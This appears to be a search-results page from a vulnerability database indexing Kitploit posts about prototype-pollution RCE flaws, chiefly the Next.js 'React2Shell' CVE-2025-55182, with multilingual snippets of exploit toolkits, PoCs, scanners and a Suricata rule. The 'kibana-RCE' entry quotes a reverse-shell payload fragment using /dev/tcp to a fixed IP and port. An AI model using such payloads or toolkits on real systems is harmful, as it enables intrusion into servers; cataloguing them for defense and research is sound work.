Lucene search
+L

132277 matches found

Kitploit
Kitploit
added 2026/09/12 2:17 p.m.5 views

Suricata-Rule-for-Detecting-CVE-2025-55182

CVE‑2025‑55182용 Suricata 탐지 규칙 Next.js Action Poisoning → Node.js execSync RCE 📌 설명 이 문서는 Suricata 규칙 SID 900304 이 CVE‑2025‑55182 의 악용 시도를 탐지하는 방법을 설명합니다. CVE‑2025‑55182는 Action Poisoning 을 가능하게 하여 임의의 Node.js RCE 로 이어지는 Next.js의 치명적인 취약점입니다. 구체적으로 다음 경로를 통해 발생합니다: 프로토타입 오염Prototype Pollution 내부...

10CVSS7.5AI score0.99802EPSS
SaveExploits391
Kitploit
Kitploit
added 2026/09/12 1:52 p.m.8 views

CVE-2023-45827

CVE-2023-45827 Обзор уязвимости CVE-2023-45827 CVSS : 9.8 Nov 3, 2023 ProtoType Pollution в пакете node.js Часть проекта rebob Описание уязвимости уведомления GitHub Это уязвимость типа Prototype Pollution PP в dot-diver. Она может привести к RCE. уязвимый код root@kitploit:...

9.8CVSS8.2AI score0.01172EPSS
SaveExploits1References1
Kitploit
Kitploit
added 2026/09/12 1:37 p.m.5 views

React2Shell

🔐 React2Shell - Next.js RSC 오염 RCE 툴킷 이 Python 툴킷은 Next.js React Server Components RSC 프로토타입 오염 + React.lazy-1 가젯 체인을 악용하여 전체 RCE 접근을 제공하며, 인터랙티브 갓 셸, 파일 업로드 PHP 웹셸 드로퍼 및 ?out=을 통한 탈취를 포함합니다. 이미지 미리보기 🧾 main.py 📌 목적 취약한 Next.js 앱예: target.com의 자동 탐지 및 악용. uid=33www-data 셸을 드롭하며 다음을 제공:...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/12 1:00 p.m.8 views

CVE-2025-71389_exploit

CVE-2025-71389 — Cal.com 인증되지 않은 원격 코드 실행 react2shell Cal.com = 5.9.9로 업그레이드하세요 패치된 Next.js 버전 중 하나: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7. RSC 서버 함수 핸들러를 신뢰할 수 없...

10CVSS5.9AI score0.012EPSS
SaveExploits3References1
Kitploit
Kitploit
added 2026/09/12 12:23 p.m.8 views

ppfuzz

ppfuzz Фаззер для Prototype Pollution Быстрый инструмент для сканирования уязвимостей prototype pollution на стороне клиента, написанный на Rust. 🦀 Установка Бинарный файл Исходный код Зависимости Демонстрация Использование Базовое использование...

5.9AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/12 12:23 p.m.97 views

ppfuzz

ppfuzz Prototype Pollution Fuzzer A fast tool to scan client-side prototype pollution vulnerability written in Rust. 🦀 Installation Binary Source Dependencies Demonstration Usage Basic Options Usage Supporting Materials Contributing Attribution Acknowledments License Installation...

5.5AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/12 12:17 p.m.8 views

CVE-2025-55182-poc

CVE-2025-55182 Доказательство концепции Критическое удалённое выполнение кода без аутентификации в компонентах React Server Полное доказательство концепции, демонстрирующее CVE-2025-55182, критическую уязвимость в [email protected], которая позволяет неаутентифицированным атакующим выполнять...

10CVSS8.2AI score0.99802EPSS
SaveExploits391
Kitploit
Kitploit
added 2026/09/12 11:14 a.m.5 views

kibana-prototype-pollusion

CVE-2019-7609 5.6.15 이전 및 6.6.1 이전의 Kibana 버전은 Timelion 시각화 도구에서 임의 코드 실행 취약점을 포함합니다. Timelion 애플리케이션에 접근할 수 있는 공격자는 JavaScript 코드를 실행하려는 요청을 보낼 수 있습니다. 이로 인해 공격자가 호스트 시스템에서 Kibana 프로세스의 권한으로 임의 명령을 실행할 수 있습니다. CVSS: 블로그: https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609...

10CVSS7.4AI score0.95338EPSS
SaveExploits12References2
Kitploit
Kitploit
added 2026/09/12 11:04 a.m.8 views

CVE-2025-55182-scanner

Сканер поверхности экспозиции React Server Components CVE-2025-55182 Специализированный, неинвазивный детектор поверхности для CVE-2025-55182 RCE в React Server Components. ⚠️ Критический технический контекст Прочтите это перед сканированием: Хотя CVE-2025-55182 является критической уязвимостью RC...

10CVSS7.4AI score0.99802EPSS
SaveExploits391
Kitploit
Kitploit
added 2026/09/12 10:55 a.m.6 views

CVE-2025-55182-Test-Server

CVE-2025-55182-Test-Server 안전한 환경에서 react2shell을 가지고 놀아보세요! 빠른 시작 저장소를 클론하세요 root@kitploit: git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server Docker 파일을 실행하세요 root@kitploit: docker compose up --build -d PoC root@kitploit: curl -s -X POST...

10CVSS7.5AI score0.99802EPSS
SaveExploits391
Kitploit
Kitploit
added 2026/09/12 10:53 a.m.7 views

pphack

pphack Продвинутый сканер загрязнения прототипов на стороне клиента Сделано с 💙 от edoardottt Поделиться в Twitter! Установка • Начало работы • Примеры • Список изменений • Участие • Лицензия Установка 📡...

5.9AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/09/12 10:31 a.m.8 views

CVE-2025-25014

CVE-2025-25014에 대한 POC Kibana의 프로토타입 오염 취약점으로 인해 머신 러닝 및 보고 엔드포인트에 대한 조작된 HTTP 요청을 통해 임의 코드 실행이 발생합니다. 현재 이 POC 는 취약한 인스턴스를 감지만 합니다. 사용법 root@kitploit: python CVE-2025-25014.py -u username -p password --proxy proxyurl url...

9.8CVSS8.4AI score0.21483EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/12 10:12 a.m.7 views

react2shell_analyzer

React2Shell Analyzer Мощный анализатор HTTP-прокси для проверки трафика Server Actions Next.js между вашим браузером/PoC и сервером Next.js. GitHub Репозиторий https://github.com/Benrich127N/react2shellanalyzer.git Возможности 🔍 Проверка заголовков : Логирование всех заголовков запросов и ответов...

6AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/12 9:58 a.m.4 views

CVE-2025-55182-Toolbox

React2Shell: Комплексный инструмент для эксплуатации CVE-2025-55182 Автор: lamaper / BITs2Sys Версия: 1.0.1 Лицензия: MIT 📝 Описание инструмента Данный инструмент представляет собой автоматизированное средство для пентеста, специально разработанное для CVE-2025-55182 RCE через загрязнение цепочки...

10CVSS7.5AI score0.99802EPSS
SaveExploits391
Kitploit
Kitploit
added 2026/09/12 9:23 a.m.7 views

CVE-2025-55182-PoC

⚡ React2Shell Exploit PoC CVE-2025-66478 Удаленное выполнение кода RCE в Next.js через загрязнение прототипа в серверных компонентах 🕵️‍♂️ Обзор Этот репозиторий содержит доказательство концепции PoC для CVE-2025-66478 также упоминается как CVE-2025-55182 в некоторых контекстах — критической...

10CVSS7.6AI score0.99802EPSS
SaveExploits405
Kitploit
Kitploit
added 2026/09/12 7:57 a.m.9 views

CVE-2025-55182-exp

CVE-2025-55182-exp 🔥 Обзор CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода RCE в React Server Components RSC, затрагивающая приложения Next.js, использующие App Router с Server Actions. Уязвимость существует в процессе десериализации протокола Flight, что позволяет...

10CVSS7.5AI score0.99802EPSS
SaveExploits391References1
Kitploit
Kitploit
added 2026/09/12 7:04 a.m.3 views

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Canvas를 클릭하여 셸 획득...

10CVSS7.5AI score0.95338EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/12 6:46 a.m.6 views

R2C-CVE-2025-55182-66478

🔥React2Shell 툴킷 - CVE-2025-55182 & CVE-2025-66478 🚨 React Server Components 및 Next.js의 치명적 RCE 🚨 CVE-2025-55182 탐지 및 익스플로잇을 위한 전문 레드팀 툴킷 🔍 기능 • ⚡ 빠른 시작 • 📚 문서 • 🤝 연락 🎯 CVE-2025-55182 및 CVE-2025-66478 정보 🐛 React2Shell이란? React2Shell 은 React Server ComponentsRSC 및 Next.js 애플리케이션에 영향을 미치는 인증되지 않은 치명...

10CVSS7.6AI score0.99802EPSS
SaveExploits405References9
Kitploit
Kitploit
added 2026/09/12 6:35 a.m.15 views

jspanda

JSPanda JSpanda — это сканер уязвимостей прототипного загрязнения на стороне клиента. У него две ключевые функции: сканирование уязвимостей по предоставленным URL и анализ исходного кода JavaScript-библиотек. Однако JSpanda не может обнаруживать сложные уязвимости прототипного загрязнения. Как...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/12 5:57 a.m.7 views

CVE-2021-23383

CVE-2021-23383 Пакет handlebars версии до 4.7.7 уязвим для Prototype Pollution при выборе определенных параметров компиляции для компиляции шаблонов из ненадежного источника...

9.8CVSS7.4AI score0.04506EPSS
SaveExploits1
Rows per page
Query Builder